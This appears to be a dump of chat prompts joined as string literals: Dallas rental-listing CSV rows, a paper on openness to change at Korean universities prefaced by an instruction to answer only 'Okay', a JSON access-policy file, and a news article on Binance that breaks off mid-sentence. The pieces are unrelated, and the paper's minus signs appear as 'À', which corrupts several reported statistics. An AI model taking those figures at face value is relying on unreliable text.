Lynn;;District 14;32.81185;-96.79686;Entire home/apt;699;2;15;44843;0.19;1;73;1\n14993199;Lower Greenville 2BR, Great Balcony;43042344;Heath;;District 14;32.81415;-96.76521;Entire home/apt;92;5;192;44962;2.48;151;346;31\n15006477;Private Bedroom, Great Location;68322746;Elias;;District 13;32.90495;-96.87363;Private room;45;1;11;44968;0.14;1;230;1\n15030274;Cool Space| Hot Neighborhood;1287648;Cindy | Becca;;District 2;32.81686;-96.8209;Entire home/apt;94;30;34;44931;0.45;1;162;4\n12731709;Awesome Casa: Walk to Greenville!;75347198;Nic;;District 14;32.82716;-96.76485;Entire home/apt;150;2;212;44383;2.58;1;0;0\n12759576;Ravinia Bungalow;69410401;Jim;;District 1;32.74218;-96.86933;Entire home/apt;89;1;668;44956;8.26;1;297;140\n15050487;Cozy, Relax and, Charming 3/2 Home;16354066;Daniel;;District 3;32.65104;-96.94424;Entire home/apt;165;2;194;44961;2.49;1;337;39\n12813886;New York Room in Dallas! Solo Travelers Only!;59509385;Jeremy;;District 1;32.75471;-96.81236;Private room;39;1;295;44906;3.58;9;88;20\n15073911;Family Friendly W/Huge Patio Mins To DT/Greenville;39191637;Lee;;District 14;32.8156661987304;-96.7830505371093;Entire home/apt;186;2;176;44948;2.25;6;331;15\n12915291;PERFECT LOCATION-private 2BR condo in North Dallas;70820214;Edina And Joe;;District 11;32.94317;-96.81048;Entire home/apt;136;2;130;44960;1.59;1;342;26\n15110568;Cozy Nest - Near SMU, Convention Center & Downtown;95719694;Linda;;District 14;32.82881;-96.77874;Private room;59;2;409;44968;5.25;1;151;54\n15131990;The Best in Uptown! Jacuzzi/Grill/Games;58642120;Rj;;District 14;32.80997;-96.80418;Entire home/apt;272;1;194;44960;2.51;1;137;24\n15132179;Cozy Studio with Pool near Bishop Arts, Downtown;58996139;Jennifer;;District 3;32.69983;-96.86834;Entire home/apt;125;28;32;44902;0.55;1;360;5\n15132439;Bed 3A SOHO Style Shared Space in Dallas! Top Bunk;59509385;Jeremy;;District 1;32.7563;-96.81236;Shared room;24;1;118;44956;1.52;9;89;21\n12973068;Comfy, Cozy & the Perfect Location;43042344;Heath;;District 2;32.79576;-96.77105;Entire home/apt;71;7;205;44968;2.5;151;361;14\n15132655;Stylish Stone Bungalow at White Rock Lake;95945165;Mary Jo;;District 9;32.84044;-96.713;Entire home/apt;170;3;102;44964;1.33;1;146;28\n15132865;Quiet 6 Bed Home Mins To DT/Uptown/Greenville;39191637;Lee;;District 14;32.8156585693359;-96.7830810546875;Entire home/apt;175;2;109;44927;1.44;6;347;7\n15220305;Lovely Luxury 1-Bedroom Apt Midtown Dallas;96719766;Steven;;District 11;32.94707;-96.82246;Entire home/apt;150;2;1;44798;0.17;1;89;1\n12989680;Bed 4A Shared Space Top Bunk in Dallas!;59509385;Jeremy;;District 1;32.75427;-96.81428;Shared room;24;1;157;44930;1.91;9;81;4\n15342254;A Room With a View;95030182;Lauri;;District 14;32.8357;-96.77329;Private room;80;1;123;44938;1.65;1;320;25\n15342315;Charming Cabin Near Deep Ellum & Fair Park;10487666;Grady;;District 5;32.76427;-96.6942;Entire home/apt;63;1;989;44964;13.4;3;316;154\n15394959;Stylish Home | Private Backyard | Fire Pit;98470998;Josh;;District 14;32.85149;-96.75481;Entire home/apt;722;2;20;44074;0.26;1;154;0\n13042721;M STREET HOUSE POOL SLEEPS 6 LOCAL, LOCAL, LOCAL;54424591;Bruce;;District 14;32.82835;-96.76814;Entire home/apt;379;3;141;44892;1.72;1;340;20\n13082432;Solo Traveler Only - Day and Night Space!;59509385;Jeremy;;District 1;32.75596;-96.81204;Shared room;28;1;230;44932;2.82;9;0;10\n13139581;Stunning Room Near Uptown, Downtown, Deep Ellum;73227695;Aj;;District 14;32.79702;-96.79184;Private room;132;1;119;44694;1.46;6;0;1\n15396018;Awesome Crashpad In Oak Lawn - Spare Bedroom;98459184;Ryan;;District 2;32.82142;-96.8228;Private room;44;3;9;44965;1.36;1;243;9\n15396199;Perfect Mansion Park Townhouse;9791021;Scott;;District 14;32.80348;-96.81279;Entire home/apt;300;2;3;44527;0.04;1;365;0\n13201433;\\*\\*Brand NEW Urban Loft in Downtown Dallas\\*\\*;72094342;Ashley;;District 2;32.77555;-96.79789;Entire home/apt;109;1;133;44971;8.31;2;130;108\n15411661;A Cozy Home in Dallas;69524865;Veronica;;District 1;32.73939;-96.83027;Entire home/apt;99;3;117;44956;1.52;2;103;10\n13262768;Chic ensuite room with kitchenette/livingroom.;74141217;Fiona;;District 14;32.80227;-96.78656;Private room;85;2;208;44752;2.55;1;0;2\n15420172;Peaceful Home By the Lake, Arboretum, Downtown;4505460;Judy;;District 9;32.85315;-96.70441;Private room;38;5;39;44830;0.51;3;131;4\n13326792;Art Loft with Zen Den - Cedars / Downtown Dallas;61276660;M;;District 2;32.76758;-96.79105;Private room;88;2;46;44883;0.86;1;172;11\n15454467;Lakewood Private Quarters in the Heart of Dallas;72184929;Gp;;District 9;32.81863;-96.75121;Entire home/apt;115;1;298;44955;3.92;1;169;39\n15595790;Urban comfort;96993967;Lashonda;;District 4;32.7174;-96.76959;Private room;80;1;0;;;2;364;0\n13348105;New Decor! Private Studio Meets Needs & Much More!;71839752;Jonathan;;District 3;32.71103;-96.85882;Private room;121;2;143;44857;1.76;1;320;14\n15665993;Urban comfort;96993967;Lashonda;;District 4;32.70349;-96.77428;Entire home/apt;86;1;0;;;2;365;0\n15708430;14 minutes to Downtown/Fair Park in East Dallas;2770842;Ericka;;District 7;32.80832;-96.68058;Private room;37;1;63;44962;0.83;1;60;26\n15753501;Uptown - Lovely1 bd #5 Fast WiFi, Parking Shopping;6063232;Joan;;District 14;32.81959;-96.78969;Entire home/apt;113;3;18;44922;0.25;11;365;2\n13379582;Private Master Bedroom on trendy Lowest Greenville;76039395;Rob;;District 14;32.81582;-96.76825;Private room;74;2;80;44937;0.99;2;89;26\n15769743;Private Rooftop w/Views of Downtown Dallas!;201570;Evie;;District 2;32.80409;-96.78259;Entire home/apt;149;2;280;44957;3.7;1;234;67\n13452559;Comfy, Spacious & Ideally Located;43042344;Heath;;District 2;32.79573;-96.76978;Entire home/apt;71;5;218;44962;2.69;151;347;12\n13635641;Sophisticated gem in the historic Munger Place;23916014;Braden;;District 14;32.80039;-96.76521;Entire home/apt;127;19;10;44891;0.46;68;335;7\n15804483;Peaceful and cozy home;971049;C;;District 13;32.87046;-96.79141;Entire home/apt;130;6;29;44921;0.38;1;352;6\n14012867;Free Parking, Fun M-Street / Lower-Greenville Flat;10901678;Vera;;District 14;32.82206;-96.76311;Entire home/apt;76;1;460;44960;5.75;23;328;35\n14038228;Amazing Loft w/Fireplace near Deep Ellum;23916014;Braden;;District 14;32.81234;-96.75664;Entire home/apt;165;19;15;44922;0.21;68;365;9\n15804640;Cozy Duplex Bungalow close to Lower Greenville;60226438;Jesse;;District 2;32.81569;-96.77622;Entire home/apt;95;2;180;44960;2.38;5;265;21\n14058229;Private Bedroom/Bathroom in Non Smoking Household;1237905;Manuel;;District 13;32.89362;-96.87172;Private room;43;3;42;43825;0.53;3;0;0\n15868576;The Designer Dallas Condo;102864844;Christina;;District 14;32.84966;-96.76371;Entire home/apt;109;20;39;44878;0.51;2;132;10\n15882537;Single Bedroom for Rental - Easy airport access;25173150;Hayden;;District 13;32.84907;-96.81907;Private room;70;1;0;;;1;179;0\n14109983;Delightful flat in the heart of Uptown/Oaklawn.;84990738;Teresa;;District 14;32.81481;-96.80844;Entire home/apt;118;1;387;44963;4.99;1;340;78\n15988676;Centrally Located SMU Condo Near Everything!;47783364;Adam;;District 14;32.84496;-96.76594;Entire home/apt;75;30;21;44787;0.28;2;0;3\n16034538;New hm, gated 3 bed with media, spa;101555838;Shelley;;District 13;32.8635;-96.83339;Private room;699;3;1;42731;0.01;1;0;0\n14135160;Comfy Clean Spacious 2BD Townhouse;85293121;Lan;;District 13;32.87513;-96.75307;Entire home/apt;151;5;54;44841;0.73;1;56;7\n16124597;Stunning Townhome Near Uptown/Downtown/Deep Ellum;73227695;Aj;;District 14;32.79495;-96.79192;Entire home/apt;207;1;231;44966;3.08;6;170;77\n16175103;Bed 5B Texas Shared Space Single Bunk in Dallas!;59509385;Jeremy;;District 1;32.75621;-96.81205;Shared room;24;1;170;44954;2.25;9;5;29\n14341244;Luxury oasis w/resort amenities Lower Greenville;23916014;Braden;;District 14;32.8114;-96.75802;Entire home/apt;155;30;10;44606;0.32;68;229;0\n16239694;Refined, Art-Filled Home in Preston Hollow;5742868;Tom And Diane;;District 13;32.88426;-96.78933;Entire home/apt;990;2;24;44806;0.34;1;332;3\n14372091;Sweet Retreat-Highland Park;82337322;Donna;;District 14;32.82067;-96.80682;Entire home/apt;439;2;17;44907;0.22;2;245;2\n14386734;Dallas at your doorstep! /secure/private space;88358457;Jim;;District 2;32.82432;-96.83036;Private room;70;1;341;44971;4.3;1;87;82\n16299009;Victorian Charm - Totally remodeled June 2022;43042344;Heath;;District 2;32.79584;-96.76985;Entire home/apt;72;4;157;44955;2.09;151;352;32\n16353509;Downtown/Deep Ellum Great Location Very Private;605717;Leonard;;District 14;32.78704;-96.78759;Entire home/apt;68;1;921;44968;12.31;3;279;166\n17379958;Uptown Dallas Townhome on Katy Trail!;38689899;James;;District 14;32.81515;-96.79685;Entire home/apt;206;2;79;44907;1.09;1;301;22" +"!IMPORTANT: Answer only 'Okay' until you reach 'End of paper.'\n\nContext In Korea, universities are in crisis because of a decrease in the school-age population and the Ministry of Education conducts diagnosis every three years. The government has implemented the University Basic Competency Assessment of Korea and provided financial support to universities based on the expected closures (Kim et al., 2020). Because reputation varies depending on the diagnosis results and is the standard for financial support, most universities are preparing for it and improving the basic competencies of universities in the process of improving the results. Private universities, which account for more than 85% of Korean universities, are subject to structural reform and are preparing for diagnosis through consulting. While conducting consulting at three private universities preparing for the diagnosis of basic university competency, we found that they were making tremendous efforts to seek organizational change and succeed like private companies. University organizations, which can be called knowledge-based organizations, can achieve organizational change based on learning organizations and knowledge sharing. Therefore, this study aims to examine the openness to change along with the two outcome variables (learning organization, knowledge sharing). As the drivers of change are external environment transformation and government evaluation, there was a view that the change initiative should be top-down. To change the university organization, it is necessary to understand the relationship between various interest groups. Dee and Leisyte (2017) conducted interviews with academics and students about seminar courses and advising centers for undergraduate students at universities. Quarchioni et al. (2020) systematized knowledge management in higher education institutions and presented a framework through thematic analysis. Despite the tightly coupled organizational characteristics, organizational change openness and willingness are different from each other, and this study examined the effect of individual and organizational differences and fits on learning organization and knowledge sharing and highlighted the role of communication. Method Participants and procedures We targeted employees at three private universities for the current research. Each university included in the sample was rated as a “self-improvement university” or a “capacityenhancing university” in the University Basic Competency Assessment of Korea, aiming for continued innovation and development. We used a four-point Likert scale for the data collection. All measurements were developed in English and back-translated into Korean by three bilingual subject-matter experts with doctorates in the areas of education administration, policy and career technical education. Some measurement scales were modified to capture the structure of the university and to reflect the higher education context. The survey was conducted as part of a university consulting project; faculty and administrative staff participated in the data collection process through an online survey platform. The faculty and staff are involved in a single task force team for consulting, so they are not treated separately. A survey was distributed to a total of 2,074 faculty and staff members from participating universities. A total of 1,085 participants responded, for a response rate of 52.31%. After excluding insincere responses and missing data, such as uniformly repeated responses (e.g. 1, 1, 1, 1, 1) and intentionally sequential responses (e.g. 1, 2, 3, 1, 2, 3), a total of 1,015 participants (faculty = 504, staff = 511) was included in the analysis. Of the participants, 49.7% were faculty and 50.3% were administrative staff members. Of the faculty, 24.4% were female and 47.6% had more than 10 years of organizational tenure. Measures Openness to change. Openness to change was measured using six items. From the original scale (Miller et al., 1994), three items were selected to measure individuals’ perception of their openness to change. These three items were also modified to measure how individuals perceive their organizations’ openness to change. In terms of item reliability, both individual openness (a = 0.75) and organizational openness (a = 0.81) were internally reliable. Organizational communication. To assess organizational communication, we measured the level of communication through individuals’ perceptions of their organization (i.e. an entire organization, university headquarters or department). For the measurements, we restructured and translated the scale to fit the university context based on the communication satisfaction questionnaire (Downs and Hazen, 1977). Finally, the measure comprised six items (a = 0.87) and was reliable. Learning organization. Learning organization was assessed with the Dimension of the Learning Organization Questionnaire (Yang et al., 2004). Item reliability (a = 0.86) was reliable. Knowledge sharing. To measure individuals’ knowledge sharing, three items (a = 0.75) were adopted from Mura et al. (2013) scale, which represents the extent to which faculty and staff members share their best practices and experiences. Analytical strategies We collected control variables that might influence individuals’ perceptions of knowledge and learning. First, we controlled for age, employment status, university and tenure. However, the results were not changed by including or not the control variables with the values coded for these demographics as dummy variables. Therefore, following guidelines for superfluous inclusion of control variables (Carlson and Wu, 2012; Vogel et al., 2016), we performed the analysis in the final model without any of these control variables. We measured the levels of individual and organizational openness to change (OOC) for independent variables through individual perceptions. To analyze the concepts of fit, congruence and incongruence, a quadratic equation including the two independent variables of polynomial regression was calculated and included in the regression model. We performed a moderated polynomial regression analysis using Mplus 8.4 and analyzed the response surface for a three-dimensional graph using OriginPro 2016 (Edwards and Lambert, 2007). Polynomial regression has been suggested as an alternative to the different scores of dependent variables and can be used to study the fit, congruence and incongruence of various variables. Before calculations, we conducted mean-centering for the moderator and scale-centering for the two independent variables to avoid multicollinearity issues and to interpret accurately. Polynomial regression analysis includes high-order terms, which are the squared and interacted terms of the individual openness to change (IOC) and OOC in this research. An equation considering the control variables was derived based on the concept presented by Edwards and Parry (1993), as follows: Results Table 1 presents the descriptive analysis including means, standard deviations, zero-order correlations and reliabilities among the variables. Moderate and significant correlations were found among the variables. Additionally, we performed a confirmatory factor analysis and most goodness-of-fit indices for our measurement model met the criteria ( x 2 = 6,819.60, df = 190, TLI = 0.90; CFI = 0.92; RMSEA = 0.07). Because the variables were measured by a single rater without any time interval, we performed Harman’s single-factor test. The explained total variance was 33.64%; therefore, common method bias was not found (Podsakoff et al., 2003). We conducted a path analysis for the polynomial equations, as shown in Table 2. Many existing studies have examined the moderating effect between independent and dependent variables in nonlinear relationships. In this study, the effect of the moderator on congruence and dependent variables was examined based on previous studies (Graham et al., 2018; Vogel et al., 2016). H1 predicted that the positive effect on learning organization would be stronger when communication was high. In Step 2, the F-statistic (F = 92.38) was significant, indicating that communication could have a significant moderating effect on a learning organization’s interaction with openness to change congruence. To test the characteristics of the surface along the line of congruence, the slope and curvature were obtained at both high and low levels for the moderator. Guided by Cohen et al. (2003), we considered one standard deviation above and below the meancentered communication and entered the data into equation (1). Table 3 shows the estimated values of the slope and the curvatures of the line of congruence and the line of incongruence for the dependent variables, including learning organization and knowledge sharing. Based on the estimated coefficients, Figure 2 shows the response surface. At a low level of communication, the slope of the surface along the line of congruence had a significant positive value not equal to 0 (a 1 = 0.20, 90% CI [0.07, 0.33]). The results indicate the presence of a directional effect, which means that employees perceived a higher level of learning organization when IOC and OOC were high (high IOC and high OOC) compared with at lower levels (low IOC and low OOC). The curvature of the surface along the line of incongruence was estimated to determine whether the fit effect existed; however, this case was not significant because the confidence interval included zero (a 4 = À0.13, 90% CI [À0.34, 0.10]). This result indicates that there was no curvilinear or fit effect of learning organization on the line of incongruence when the level of communication was low. At high levels of communication, the slope of the surface along the line of congruence was not significant (a 1 = 0.16, 90% CI [À0.08, 0.40]), indicating a pattern of results dissimilar to those at low levels of communication. In contrast, the curvature of the surface along the line of incongruence had a negative and significant value (a 4 = À0.57, 90% CI [À0.87, À0.26]), with an inverted U-shaped curvature along the line of incongruence. This result indicates that learning organization is higher when an individual’s openness to change is aligned with their organization’s openness to change. When communication is high, the misfits and any deviations from the line of congruence could decrease learning organization. In other words, level of learning organization can be expected to be high through the fit of IOC and OOC under high-communication conditions. The results of this specific pattern support H1. When communication was low, there was no curvilinear effect of openness to change on learning organizations. However, for the condition of high communication, a strong fit effect on learning organization was observed due to the congruence of the openness to change. H2 predicted that the positive effect on knowledge sharing would be stronger when communication was high. Based on the F-statistic (F = 25.70), communication played a significant moderating role in the relationship between openness to change incongruence and knowledge sharing. The lower parts of Table 3 and Figure 2 concern knowledge sharing and illustrate the response surface of the results. At low levels of communication, the slope of the surface along the line of incongruence was not significantly different from 0 (a 3 = 0.19, 90% CI [À0.03, 0.41]), indicating that there was no directional effect between IOC and OOC on knowledge sharing. We can conclude that any misfits of openness, in which individual openness was greater than organizational openness, had no significant difference on knowledge sharing compared with individuals who perceived that their organization’s openness was greater than their own. The curvature of the surface along the line of incongruence was significant and positive (a 4 = 0.36, 90% CI [0.11, 0.62]), suggesting that the line of incongruence curved upward (convex). The positive significant curvature indicates that more knowledge sharing occurred when IOC and OOC showed larger deviation from each other. In other words, when faculty and staff perceived a greater mismatch between openness at the individual and organizational levels, they shared more knowledge in the condition of low communication. These results indicate that the difference in perception between individuals and organizations is a need-supply fit. If the IOC is higher than that of the organization, knowledge sharing by the individual is more likely. If the organization’s openness to change is higher, knowledge sharing can occur by learning the best practice established at an organization level. In high communication, the slope of the surface along the line of incongruence was significant and positive (a 3 = 0.60, 90% CI [0.30, 0.92]), indicating a strong directional effect. Faculty and staff whose individual openness was greater than their perception of organizational openness were more likely to share their knowledge compared with faculty and staff who had low levels of individual openness. Therefore, in situations where communication is active, individuals whose openness to change is lower than organizational openness could be poor at sharing knowledge. As communication becomes plentiful, the curvature of the surface along the line of incongruence became non-significant (a 4 = À0.08, 90% CI [À0.41, 0.25], which indicates that the line of incongruence was no longer curved. The curvilinear effect might have been lost because the linear directional effect was strongly significant. Thus, as shown in Figure 2, when communication was high, knowledge sharing decreased along the line of incongruence because IOC was lower than OOC. The positive effects of the misfit of openness on knowledge sharing were reduced at a high level of communication. Thus, H2 was not supported." +'Here is the JSON data file for that policy "{\n "Resources": {\n "myapp1": [\n {\n "Company": "CompanyA",\n "Country": "Norway",\n "InvoiceAmount": 200,\n "Name": "Invoice1",\n "ResourceID": "inv001",\n "ResourceType": "Invoice"\n },\n {\n "Company": "CompanyB",\n "Country": "Sweden",\n "InvoiceAmount": 300,\n "Name": "Invoice2",\n "ResourceID": "inv002",\n "ResourceType": "Invoice"\n },\n {\n "Amount": 1000,\n "Company": "CompanyA",\n "Country": "Norway",\n "Name": "PurchaseOrder1",\n "ResourceID": "po001",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Amount": 1500,\n "Company": "CompanyB",\n "Country": "Sweden",\n "Name": "PurchaseOrder2",\n "ResourceID": "po002",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Company": "CompanyA",\n "Country": "Norway",\n "Name": "Person1",\n "ResourceID": "p001",\n "ResourceType": "Person"\n },\n {\n "Company": "CompanyB",\n "Country": "Sweden",\n "Name": "Person2",\n "ResourceID": "p002",\n "ResourceType": "Person"\n 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{\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreateInvoice",\n "FieldTypes": [\n {\n "FieldType": "InvoiceAmount",\n "FieldTypeValues": [\n 100,\n 200,\n 300\n ]\n },\n {\n "FieldType": "Country",\n "FieldTypeValues": [\n "Norway",\n "Sweden",\n "Finland"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadInvoice",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdateInvoice",\n "FieldTypes": [\n {\n "FieldType": "InvoiceAmount",\n "FieldTypeValues": [\n 200,\n 300\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeleteInvoice",\n "FieldTypes": []\n }\n ]\n },\n "Person": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreatePerson",\n "FieldTypes": [\n {\n "FieldType": "Age",\n "FieldTypeValues": [\n 18,\n 21,\n 25,\n 30,\n 40\n ]\n },\n {\n "FieldType": "Country",\n "FieldTypeValues": [\n "Norway",\n "Sweden",\n "Finland"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadPerson",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdatePerson",\n "FieldTypes": [\n {\n "FieldType": "Age",\n "FieldTypeValues": [\n 21,\n 25,\n 30\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeletePerson",\n "FieldTypes": []\n }\n ]\n },\n "PurchaseOrder": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreatePurchaseOrder",\n "FieldTypes": [\n {\n "FieldType": "OrderAmount",\n "FieldTypeValues": [\n 500,\n 1000,\n 1500\n ]\n },\n {\n "FieldType": "Company",\n "FieldTypeValues": [\n "ABC Inc",\n "XYZ Corp"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadPurchaseOrder",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdatePurchaseOrder",\n "FieldTypes": [\n {\n "FieldType": "OrderAmount",\n "FieldTypeValues": [\n 1000,\n 1500\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeletePurchaseOrder",\n "FieldTypes": []\n }\n ]\n }\n }\n },\n "myapp2": {\n "ResourceTypes": {\n "Invoices": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadInvoice",\n "FieldTypes": []\n }\n ]\n },\n "People": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadPerson",\n "FieldTypes": []\n }\n ]\n },\n "PurchaseOrders": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadPurchaseOrder",\n "FieldTypes": []\n }\n ]\n }\n }\n }\n },\n "resourceAccesses": {\n "myapp1": {\n "user1": [\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway",\n "InvoiceAmount": 100\n },\n "Name": "Invoice 001",\n "ResourceID": "2c1ed12e-038d-4f2f-b183-1aa8fcbcd6d4",\n "ResourceType": "Invoice"\n },\n {\n "AzLocalRightName": "Create",\n "Constraints": {\n "Country": "Sweden",\n "PurchaseOrderAmount": 200\n },\n "Name": "Purchase Order 001",\n "ResourceID": "559c6e04-ba0c-4c1d-9d57-7da755da28c7",\n "ResourceType": "PurchaseOrder"\n }\n ],\n "user2": [\n {\n "AzLocalRightName": "Create",\n "Constraints": {\n "Country": "Norway",\n "InvoiceAmount": 200\n },\n "Name": "Invoice 002",\n "ResourceID": "e56fa32c-9601-4c88-b9f9-02d66e0efbdb",\n "ResourceType": "Invoice"\n },\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Finland",\n "PurchaseOrderAmount": 100\n },\n "Name": "Purchase Order 002",\n "ResourceID": "43e0e035-95d8-4c54-a4c4-4f3c0f37b57e",\n "ResourceType": "PurchaseOrder"\n }\n ]\n },\n "myapp2": {\n "user1": [\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway"\n },\n "Name": "Document 001",\n "ResourceID": "00cabb75-868c-4061-bf17-f39a0132dccb",\n "ResourceType": "Document"\n },\n {\n "AzLocalRightName": "Update",\n "Constraints": {\n "Country": "Sweden"\n },\n "Name": "Document 002",\n "ResourceID": "2e4dfb4c-f8b7-4c51-9ca3-74ea6488618d",\n "ResourceType": "Document"\n }\n ],\n "user2": [\n {\n "AzLocalRightName": "Delete",\n "Constraints": {\n "Country": "Finland"\n },\n "Name": "Document 003",\n "ResourceID": "b71f1f92-90eb-42c8-8a71-4969e9d2b2e8",\n "ResourceType": "Document"\n },\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway"\n },\n "Name": "Document 004",\n "ResourceID": "ae83b0a9-d925-4c4b-b2b4-3e3cde9813a1",\n "ResourceType": "Document"\n }\n ]\n }\n }\n}"' +'tldr\n\nJust last month, Changpeng Zhao looked like the undisputed king of crypto. The upstart exchange FTX had spectacularly imploded in early November, and Zhao, the CEO of the exchange giant Binance, had carried out the kill shot by dumping FTX’s native crypto token and triggering a liquidity crisis that sank FTX and its founder and CEO, Sam Bankman-Fried. For a few days, it even looked like Binance would acquire FTX.\n\nIn the weeks since, FTX’s disordered collapse has risked pushing an already-stressed crypto industry over the brink. Prosecutors and regulators have alleged that FTX was not just a company in distress, but a massive fraud, and Bankman-Fried was arrested Monday in the Bahamas. The FTX debacle has also triggered widespread mistrust among crypto survivors, who are watching for what dominoes might fall next—and whether one of them might be Binance.\n\nBinance is the world’s largest crypto exchange by volume. But it has been plagued by trouble with regulators and is facing potential criminal charges related to money laundering and sanctions violations. Misgivings about the company accelerated this week after customers pulled billions worth of assets from its platform and Binance temporarily halted withdrawals of a key asset. Other crypto companies held crisis meetings to plan how they’ll respond if Binance’s situation worsened.\n\nSo, how much trouble is Binance in? It’s not as bad as FTX, insiders say, but it’s still not good.\n\nSenior executives at several other well-known crypto firms, including Binance’s biggest rivals, told Fortune they do not believe Binance is on the cusp of insolvency—a conclusion bolstered by blockchain data that shows the company holds ample stores of Bitcoin and liquid assets. While some casual observers have drawn parallels between Binance and FTX, those within the industry aren’t going there.\n\nZhao acknowledged this week that the company and crypto more broadly are enduring a tough stretch. In a memo to staff, he wrote that the industry is undergoing an “historic moment” and that the next few months would be “bumpy,” but assured them that Binance “will survive any crypto winter.”\n\nNonetheless, the company and its CEO are under scrutiny like never before—and the next few months will determine whether Binance has a long-term future.\n\nBinance’s very bad week\nWhile this week’s news cycle has been consumed by Bankman-Fried, and crypto-related testimony in Washington, D.C., a fresh drama about Binance played out quietly in the background. It began when the analytics firm Nansen published data to show customers cashed out around $3.6 billion worth of assets over seven days from Binance, including almost $2 billion in a single day.\n\nThe spur for the withdrawals was likely a report published Monday that claimed factions in the Justice Department are pushing aggressively to file criminal charges related to sanctions violations and money laundering against Binance and its CEO. The full extent of the outflows may have been higher than reported, since the Nansen data includes withdrawals of Ethereum and stablecoins but not Bitcoin. An executive at a Binance rival, who requested anonymity because he was not authorized to speak publicly, told Fortune that his company’s internal estimates suggest that total outflows may have been as high as $6 billion to $8 billion, including cash-outs of Bitcoin and other currencies like Tron.\n\nThe alarm over Binance increased amid reports that the company was failing to process withdrawals of USDC, one of the more widely used stablecoins pegged to the U.S. dollar. This is part of what made it feel urgent to map out the worst-case scenarios involving Binance, the executive at the rival company said.\n\nThat worst-case scenario might sound familiar: It speculates that Binance could be using a token called BNB, which is native to Binance’s own blockchain, as collateral for loans. Binance denies this practice, but if it were true, it could leave the company vulnerable the same way FTX’s FTT token did. The value of BNB could crater if the market were to grow uneasy about Binance’s health, which would leave Binance unable to pay back loans, leading it to sell its holdings of the wildcat stablecoin Tether. That in turn could lead to Tether—whose reserve structure has always been murky—failing to maintain its $1 peg, which would set off a wide conflagration across the crypto markets.\n\nA spokesperson for Binance told Fortune that the exchange has never used BNB as collateral. But speculation about such a disastrous scenario is making some in the industry uneasy about Binance’s large holdings of assets like BNB and Tether, which offer little transparency. Another executive, who likewise insisted on anonymity, said their own firm convened a special meeting in the wake of this week’s Binance headlines to explore how it would react if the giant exchange collapses over the holidays.\n\nBinance itself has responded forcefully to all of this dire prognosticating (which might be more reassuring had we not all seen similar behavior from other troubled crypto leaders).\n\nLate on Tuesday, amid widespread murmurings about the situation at Binance, CEO Zhao took to Twitter to downplay the recent outflows, noting that the company has experienced bigger ones in the past and suggesting such events amount to healthy “stress tests.”\nBy the end of the week, outflows from the platform had begun tapering and fears about its financial health quieted down some.\n\nAscreenshot from Nansen taken mid-day Thursday that shows 7-day outflows at Binance exceeded all other crypto exchanges but that it had declined to $2.6 billion compared to the $3.6 billion figure reported earlier this week.\nJust a ‘stress test’?\nOther crypto industry figures agreed with Zhao’s assertion that concern about the outflows were overblown. These included the venture capitalist Nic Carter, who rejected claims of a “bank run” at Binance as hyperbolic, and noted that total assets on its platforms dipped 15% at most and that much of the money had already flowed back.\nAs for Binance temporarily halting withdrawals of USDC, the company says that occurred for technical reasons rather than due to any existential threat to Binance’s financial health. The backstory is complicated but it involves a recent decision by Binance to convert its holdings of USDC—which is controlled by rivals Circle and Coinbase—to its own stablecoin, known as BUSD. Binance likely made this decision to favor its own coin, as other exchanges have recently done, because stablecoins have become an increasingly important source of revenue for their issuers as interest rates climb. (Issuers typically invest the dollars backing the stablecoins into T-bills and pocket the interest.)\n\nBinance does, however, let customers convert any USDCs that were forcibly converted to BUSD back to USDC for the purpose of withdrawals. The upshot is that, when nervous investors sought to redeem their USDC from Binance this week, the company did not have enough on hand to immediately honor the withdrawals. This meant Binance had to wait for its American banking partner—a New York company called Paxos that tokenizes assets and issues white-labeled stablecoins for Binance and others—to obtain more USDC on its behalf. In an interview with Fortune, Paxos confirmed this, saying many of the withdrawal requests occurred outside of banking hours, which slowed its ability to deliver USDC to Binance.\n\nEven so, a significant number of Binance’s customers appeared to have dropped Binance’s stablecoin in favor of the one issued by Circle and Coinbase. “We saw record-making history yesterday with more than $2.5B USDC issuance in a 24-hour period,” Circle’s CEO, Jeremy Allaire, told Fortune.\n\nWhile Binance appears to have survived the events of the last week relatively unscathed, its biggest battles lie ahead.\n\nBinance’s fight for legitimacy\nBinance burst on the scene during the crypto boom of 2017, and soared to popularity by offering a cornucopia of digital assets and innovations, including its own blockchain. It soon became the biggest crypto exchange in the world by trading volume, thanks in part to Zhao’s ruthless growth-at-all-cost strategies that included hopscotching the world in search of favorable regulatory environments and—in its early days—lax application of know-your-customer laws.\n\nBut even as Binance became the dominant player in the crypto world, Zhao has maintained the status of an outsider. This may be because he is not part of the clique of entrepreneurs who brought Bitcoin into the mainstream during crypto’s early years, and who still wield outsize influence at conferences and on social media. Or it may be because the crypto establishment is uneasy with Binance’s initial cowboy approach to regulation—even though nearly every popular crypto company also played it fast-and-loose in their early days. Whatever the reason, Binance has few friends in Washington, D.C., which has become the de facto center of global crypto regulation—a situation that could spell trouble for the company as U.S. lawmakers move to impose new laws on the controversial industry.\n\nIn recent months, Binance has sought to portray concerns about the company as a xenophobic response to Zhao’s Chinese heritage. In a September blog post, Zhao—whose parents moved the family to Vancouver when he was 12—suggested that competitors were trying to undermine him by playing up his ethnicity. “I am Canadian citizen,” he wrote. “Period.” He has echoed those sentiments on Twitter in recent weeks.\n\nBut despite Binance’s disavowal of ties to China, rumors persist. One credible report, for instance, suggests the company maintained an office in Shanghai that was shut down in late 2019, though Binance has denied its existence. The company has 